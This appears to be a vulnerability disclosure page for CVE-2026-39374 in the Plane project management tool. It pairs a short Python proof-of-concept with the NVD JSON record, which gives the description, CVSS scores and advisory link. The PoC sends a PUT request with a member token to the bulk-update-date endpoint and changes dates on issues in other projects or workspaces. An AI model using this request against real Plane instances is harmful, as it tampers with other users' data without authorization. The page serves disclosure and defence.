CVE-2026-39374

import requests # Target URL for the vulnerable endpoint (example) target_url = "https://target-plane-instance.com/api/v1/workspaces/123/projects/456/issues/bulk-update-date/" # Authentication token (Member or Admin role required) headers = { "Authorization": "Bearer <VALID_MEMBER_TOKEN>", "Content-Type": "application/json" } # Payload targeting an issue ID from a different project/workspace # The vulnerability fails to check if issue "9999" belongs to the current context payload = { "issues": ["9999"], # Arbitrary Issue ID "start_date": "2026-01-01", "target_date": "2026-12-31" } # Send the malicious request response = requests.put(target_url, json=payload, headers=headers) if response.status_code == 200: print("PoC successful: Issue date modified.") else: print(f"Request failed with status: {response.status_code}")

{"cve": {"id": "CVE-2026-39374", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:32.293", "lastModified": "2026-04-15T17:17:42.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plane is an an open-source project management tool. Prior to 1.3.0, the IssueBulkUpdateDateEndpoint allows a project member (ADMIN or MEMBER) to modify the start_date and target_date of ANY issue across the entire Plane instance, regardless of workspace or project membership. The endpoint fetches issues by ID without filtering by workspace or project, enabling cross-boundary data modification. This vulnerability is fixed in 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:plane:plane:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.3.0", "matchCriteriaId": "A83B3D5C-1D3E-422F-BDE7-557F3EB8F934"}]}]}], "references": [{"url": "https://github.com/makeplane/plane/security/advisories/GHSA-4q54-h4x9-m329", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}